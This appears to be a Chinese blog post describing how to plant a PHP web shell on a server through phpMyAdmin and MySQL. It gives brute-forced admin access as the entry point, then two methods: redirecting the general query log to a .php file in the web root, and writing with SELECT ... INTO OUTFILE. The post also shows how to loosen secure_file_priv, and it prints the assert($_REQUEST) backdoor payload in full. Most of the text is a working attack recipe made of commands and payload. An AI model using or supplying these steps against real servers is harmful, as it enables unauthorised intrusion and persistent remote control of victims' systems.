mysql写getshell--phpmyadmin


利用mysql 语句写webshell

利用爆破拿到phpmyadmin 的管理员账号密码

通过信息收集,查看配置信息

绝对路径
C:/phpStudy/PHPTutorial/

方法一
通过日志写入webshell

查询日志设置
show variables like “%general%”
upload successful

1
2
set global general_log='on'
set global general_log_file='C:/phpStudy/PHPTutorial/WWW/indes.php'

错误操作

1
select '<?php assert($_POST["pass"]);?>'

正确操作

1
select '<?php assert($_REQUEST["pass"]);?>'

upload successful
方法二

直接写入webshell

1
select '<?php assert($_REQUEST["pass"]);?>' INTO OUTFILE 'C:/phpStudy/PHPTutorial/WWW/indes3.php'

报错:
upload successful

1
SHOW VARIABLES LIKE "%secure%"

upload successful

1
set global secure_auth='on'

在次写入仍然报错
需要把

1
Secure_file_priv=””

添加到 my.ini配置文件中
upload successful
重启phpstudy

重新写入

1
select '<?php assert($_REQUEST["pass"]);?>' INTO OUTFILE 'C:/phpStudy/PHPTutorial/WWW/indes3.php'

upload successful

注意:
有些时候斜杠会被转义,需要用双斜杠
需要

1
select '<?php assert($_REQUEST["pass"]);?>' INTO OUTFILE 'C://phpStudy//PHPTutorial//WWW//indes3.php'

文章作者: thirteensummer
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 thirteensummer !
  目录